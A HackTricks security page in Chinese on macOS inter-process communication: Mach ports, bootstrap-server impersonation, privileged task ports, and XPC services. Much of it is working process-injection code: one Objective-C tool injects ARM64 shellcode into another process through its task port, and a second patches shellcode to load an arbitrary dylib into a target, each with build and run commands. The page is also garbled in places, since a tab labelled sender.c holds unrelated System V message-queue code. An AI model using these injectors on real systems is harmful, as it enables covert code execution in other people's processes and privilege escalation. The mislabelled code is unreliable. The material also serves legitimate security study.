hacktricks/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md

46 KiB
Raw Blame History

macOS IPC - 进程间通信

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

通过端口进行Mach消息传递

Mach使用任务task作为共享资源的最小单位,每个任务可以包含多个线程。这些任务和线程与POSIX进程和线程一一对应

任务之间的通信通过Mach进程间通信IPC进行利用单向通信通道。消息通过端口进行传输,端口类似于由内核管理的消息队列

端口权限定义了任务可以执行的操作,这对通信至关重要。可能的端口权限有:

  • 接收权限允许接收发送到端口的消息。Mach端口是MPSC多生产者单消费者队列这意味着整个系统中每个端口只能有一个接收权限(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
  • 拥有接收权限的任务可以接收消息并创建发送权限,从而可以发送消息。最初,只有自己的任务对其端口拥有接收权限
  • 发送权限,允许向端口发送消息。
  • 发送权限可以进行克隆,因此拥有发送权限的任务可以克隆该权限并将其授予第三方任务。
  • 一次性发送权限,允许向端口发送一条消息,然后消失。
  • 端口集权限,表示一个端口集而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口类似于Unix中的select/poll/epoll/kqueue
  • 死名称,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死名称。

任务可以将发送权限传输给其他任务,使其能够发送消息回来。发送权限也可以进行克隆,因此任务可以复制并将权限授予第三方任务。这与一个称为引导服务器的中间进程结合使用,可以实现任务之间的有效通信。

步骤:

正如前面提到的,为了建立通信通道,涉及到引导服务器mac中的launchd)。

  1. 任务A初始化一个新的端口,在此过程中获得一个接收权限
  2. 作为接收权限的持有者,任务A为端口生成一个发送权限
  3. 任务A通过引导注册过程与引导服务器建立连接,提供端口的服务名称和通过发送权限。
  4. 任务B引导服务器交互,执行服务名称的引导查找。如果成功,服务器复制从任务A接收到的发送权限并将其传输给任务B
  5. 获得发送权限后,任务B能够构建消息并将其发送给任务A

引导服务器无法对任务声称的服务名称进行身份验证。这意味着一个任务有可能冒充任何系统任务,例如虚假地声称授权服务名称,然后批准每个请求。

然后Apple将系统提供的服务名称存储在位于SIP保护目录下的安全配置文件中:/System/Library/LaunchDaemons/System/Library/LaunchAgents。引导服务器将为每个这些服务名称创建并持有一个接收权限

对于这些预定义服务,查找过程稍有不同。当查找服务名称时launchd会动态启动服务。新的工作流程如下

  • 任务B启动一个服务名称的引导查找
  • launchd检查任务是否正在运行,如果没有,则启动它。
  • 任务A(服务)执行引导签入。在这里,引导服务器创建一个发送权限,保留它,并将接收权限传输给任务A
  • launchd复制发送权限并将其发送给任务B

然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。

Mach服务

位于前面提到的SIP受保护目录中的应用程序中指定的名称不能被其他进程注册。

例如,/System/Library/LaunchAgents/com.apple.xpc.loginitemregisterd.plist 注册了名称 com.apple.xpc.loginitemregisterd

plutil -p com.apple.xpc.loginitemregisterd.plist
{
"EnablePressuredExit" => 1
"Label" => "com.apple.xpc.loginitemregisterd"
"MachServices" => {
"com.apple.xpc.loginitemregisterd" => 1
}
"ProcessType" => "Adaptive"
"Program" => "/usr/libexec/loginitemregisterd"
}

如果您尝试使用以下代码进行注册,将无法成功。

代码示例

请注意,发送方分配了一个端口,为名称org.darlinghq.example创建了一个发送权,并将其发送到引导服务器,而发送方则请求该名称的发送权并使用它来发送消息

{% tabs %} {% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

{% tab title="sender.c" %}

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define MAX_TEXT 512

struct msgbuf {
    long mtype;
    char mtext[MAX_TEXT];
};

int main() {
    int msgid;
    struct msgbuf msg;

    // Create a message queue
    msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
    if (msgid == -1) {
        perror("msgget failed");
        exit(EXIT_FAILURE);
    }

    // Set the message type
    msg.mtype = 1;

    // Set the message text
    strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);

    // Send the message
    if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
        perror("msgsnd failed");
        exit(EXIT_FAILURE);
    }

    printf("Message sent: %s\n", msg.mtext);

    // Remove the message queue
    if (msgctl(msgid, IPC_RMID, 0) == -1) {
        perror("msgctl failed");
        exit(EXIT_FAILURE);
    }

    return 0;
}

{% endtab %}

{% tab title="receiver.c" %}

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);


// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;

message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;

strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;

// Send the message.
kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG,    // Options. We're sending a message.
sizeof(message),  // Size of the message being sent.
0,                // Size of the buffer for receiving.
MACH_PORT_NULL,   // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}

{% endtab %} {% endtabs %}

特权端口

  • 主机端口:如果一个进程对该端口具有发送权限,他可以获取有关系统的信息(例如host_processor_info)。
  • 主机特权端口:具有对该端口的发送权限的进程可以执行特权操作,如加载内核扩展。该进程需要是root才能获得此权限。
  • 此外,为了调用**kext_request** API还需要具有其他授权**com.apple.private.kext***这些授权仅提供给Apple二进制文件。
  • 任务名称端口_任务端口_的非特权版本。它引用任务但不允许对其进行控制。似乎唯一可以通过它获得的是task_info()
  • 任务端口(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
  • 调用mach_task_self()以获取调用者任务的名称。此端口仅在**exec()之间继承**;使用fork()创建的新任务会获得一个新的任务端口作为特殊情况suid二进制文件在exec()之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行fork()时执行"端口交换舞蹈"
  • 这些是访问端口的限制(来自二进制文件AppleMobileFileIntegritymacos_task_policy
  • 如果应用具有**com.apple.security.get-task-allow授权**,来自同一用户的进程可以访问任务端口通常由Xcode用于调试公证过程不允许将其用于生产版本。
  • 具有**com.apple.system-task-ports授权的应用程序可以获取任何进程的任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**task_for_pid-allow**。这仅授予Apple应用程序。
  • Root可以访问未使用强化运行时编译且不是来自Apple的应用程序的任务端口。

通过任务端口在线程中注入Shellcode

您可以从以下位置获取Shellcode

{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

{% tabs %} {% tab title="mysleep.m" %}

// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

{% tab title="entitlements.plist" %}权限清单.plist

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

{% endtab %} {% endtabs %}

编译之前的程序,并添加entitlements以便能够使用相同的用户注入代码(如果不是,则需要使用sudo)。

sc_injector.m ```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

pid_t pidForProcessName(NSString *processName) { NSArray *arguments = @[@"pgrep", processName]; NSTask *task = [[NSTask alloc] init]; [task setLaunchPath:@"/usr/bin/env"]; [task setArguments:arguments];

NSPipe *pipe = [NSPipe pipe]; [task setStandardOutput:pipe];

NSFileHandle *file = [pipe fileHandleForReading];

[task launch];

NSData *data = [file readDataToEndOfFile]; NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];

return (pid_t)[string integerValue]; }

BOOL isStringNumeric(NSString str) { NSCharacterSet nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet]; NSRange r = [str rangeOfCharacterFromSet: nonNumbers]; return r.location == NSNotFound; }

int main(int argc, const char * argv[]) { @autoreleasepool { if (argc < 2) { NSLog(@"Usage: %s ", argv[0]); return 1; }

NSString *arg = [NSString stringWithUTF8String:argv[1]]; pid_t pid;

if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }

inject(pid); }

return 0; }

</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>

通过任务端口在线程中进行Dylib注入

在 macOS 中,线程可以通过 Mach 或使用 posix pthread api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。

之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。

因此,为了改进线程,应该调用 pthread_create_from_mach_thread 来创建一个有效的 pthread。然后这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。

你可以在(例如生成日志并监听它的示例 dylibs中找到示例 dylibs

{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %} macos-dyld-hijacking-and-dyld_insert_libraries.md {% endcontent-ref %}

dylib_injector.m ```objectivec // gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector // Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c #include #include #include #include <sys/types.h> #include <mach/mach.h> #include <mach/error.h> #include #include #include <sys/sysctl.h> #include <sys/mman.h>

#include <sys/stat.h> #include <pthread.h>

#ifdef arm64 //#include "mach/arm/thread_status.h"

// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported // And I say, bullshit. kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

char injectedCode[] =

// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)

// Call pthread_set_self

"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables "\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack "\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer "\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the "\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0; "\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start "\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0; "\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread) "\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread "\x00\x00\x00\x14" // loop: b loop ; loop forever

// Call dlopen with the path to the library "\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB..."; "\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN "\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0; "\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop "\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()

// Call pthread_exit "\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT "\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0; "\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit

"PTHRDCRT" // <- "PTHRDEXT" // <- "DLOPEN__" // <- "LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;

int inject(pid_t pid, const char *lib) {

task_t remoteTask; struct stat buf;

// Check if the library exists int rc = stat (lib, &buf);

if (rc != 0) { fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno)); //return (-9); }

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Patch shellcode

int i = 0; char *possiblePatchLocation = (injectedCode ); for (i = 0 ; i < 0x100; i++) {

// Patching is crude, but works. // extern void *_pthread_set_self; possiblePatchLocation++;

uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread; uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit; uint64_t addrOfDlopen = (uint64_t) dlopen;

if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0) { memcpy(possiblePatchLocation, &addrOfPthreadExit,8); printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit); }

if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
    memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
    printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
}

if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
    printf("DLOpen @%llx\n", addrOfDlopen);
    memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}

if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
    strcpy(possiblePatchLocation, lib);
}
}

// 将 shellcode 写入分配的内存
kr = mach_vm_write(remoteTask,                   // 任务端口
                   remoteCode64,                 // 虚拟地址(目标)
                   (vm_address_t) injectedCode,  // 源
                   0xa9);                       // 源的长度

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
    return (-3);
}

// 设置分配的代码内存的权限
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
    return (-4);
}

// 设置分配的堆栈内存的权限
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS)
{
    fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
    return (-4);
}

// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));

remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8;  // 需要 16 字节对齐

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf("远程堆栈 64  0x%llx远程代码为 %p\n", remoteStack64, p);

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
                           (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);

if (kr != KERN_SUCCESS) {
    fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
    return (-3);
}

return (0);
}

int main(int argc, const char * argv[])
{
if (argc < 3)
{
    fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
    fprintf(stderr, "   _action_磁盘上的 dylib 路径\n");
    exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
    fprintf(stderr, "找不到 dylib\n");
}

}
```bash gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector ./inject </path/to/lib.dylib> ``` ### 通过任务端口进行线程劫持

在这种技术中,进程的一个线程被劫持:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %} macos-thread-injection-via-task-port.md {% endcontent-ref %}

XPC

基本信息

XPC代表XNUmacOS使用的内核进程间通信是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范例的一部分允许创建权限分离的应用程序其中每个组件都以其工作所需的权限运行从而限制了受损进程可能造成的潜在损害。

XPC使用一种进程间通信IPC的形式这是一组用于在同一系统上运行的不同程序之间发送数据的方法。

XPC的主要优点包括

  1. 安全性:通过将工作分离到不同的进程中,每个进程只能被授予其所需的权限。这意味着即使进程被入侵,它也只能有限地造成损害。
  2. 稳定性XPC帮助将崩溃隔离到发生崩溃的组件。如果一个进程崩溃可以重新启动而不影响系统的其他部分。
  3. 性能XPC允许轻松并发因为不同的任务可以在不同的进程中同时运行。

唯一的缺点是将一个应用程序分成多个进程通过XPC进行通信会效率较低。但在今天的系统中,这几乎不可察觉,而且好处更多。

一个例子可以在QuickTime Player中看到其中使用XPC的组件负责视频解码。该组件专门设计用于执行计算任务因此在发生违规事件时它不会为攻击者提供任何有用的收益如访问文件或网络。

应用程序特定的XPC服务

应用程序的XPC组件位于应用程序本身内部。例如在Safari中您可以在**/Applications/Safari.app/Contents/XPCServices中找到它们。它们的扩展名为.xpc(例如com.apple.Safari.SandboxBroker.xpc),并且也是bundles与其中的主要二进制文件一起:/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker**

正如您可能想到的,XPC组件将具有不同的授权和权限而不同于其他XPC组件或主应用程序二进制文件。除非XPC服务在其Info.plist文件中配置了JoinExistingSession设置为“True”。在这种情况下XPC服务将在与调用它的应用程序相同的安全会话中运行。

XPC服务在需要时由launchd启动,并在所有任务完成后关闭以释放系统资源。应用程序特定的XPC组件只能被应用程序利用,从而降低了与潜在漏洞相关的风险。

系统范围的XPC服务

系统范围的XPC服务对所有用户都是可访问的。这些服务无论是launchd还是Mach类型都需要在指定目录中的plist文件中进行定义,例如**/System/Library/LaunchDaemons/Library/LaunchDaemons/System/Library/LaunchAgents/Library/LaunchAgents**。

这些plist文件将具有一个名为**MachServices的键,其中包含服务的名称,以及一个名为Program**的键,其中包含二进制文件的路径:

cat /Library/LaunchDaemons/com.jamf.management.daemon.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Program</key>
<string>/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon</string>
<key>AbandonProcessGroup</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.jamf.management.daemon</string>
<key>MachServices</key>
<dict>
<key>com.jamf.management.daemon.aad</key>
<true/>
<key>com.jamf.management.daemon.agent</key>
<true/>
<key>com.jamf.management.daemon.binary</key>
<true/>
<key>com.jamf.management.daemon.selfservice</key>
<true/>
<key>com.jamf.management.daemon.service</key>
<true/>
</dict>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

**LaunchDameons**中的进程由root用户运行。因此如果一个非特权进程可以与其中一个进程通信它可能能够提升权限。

XPC事件消息

应用程序可以订阅不同的事件消息,使它们能够在发生这些事件时按需启动。这些服务的设置是在launchd plist文件中完成的,位于与前面的文件相同的目录中,并包含一个额外的**LaunchEvent**键。

XPC连接进程检查

当一个进程尝试通过XPC连接调用一个方法时XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱

{% content-ref url="macos-xpc-connecting-process-check.md" %} macos-xpc-connecting-process-check.md {% endcontent-ref %}

XPC授权

Apple还允许应用程序配置一些权限以及如何获取这些权限因此如果调用进程具有这些权限它将被允许调用XPC服务的方法

{% content-ref url="macos-xpc-authorization.md" %} macos-xpc-authorization.md {% endcontent-ref %}

C代码示例

{% tabs %} {% tab title="xpc_server.c" %}

// gcc xpc_server.c -o xpc_server

#include <xpc/xpc.h>

static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);

// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");

// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);

// Clean up
xpc_release(response);
}
}

static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}

int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}

xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});

xpc_connection_resume(service);
dispatch_main();

return 0;
}

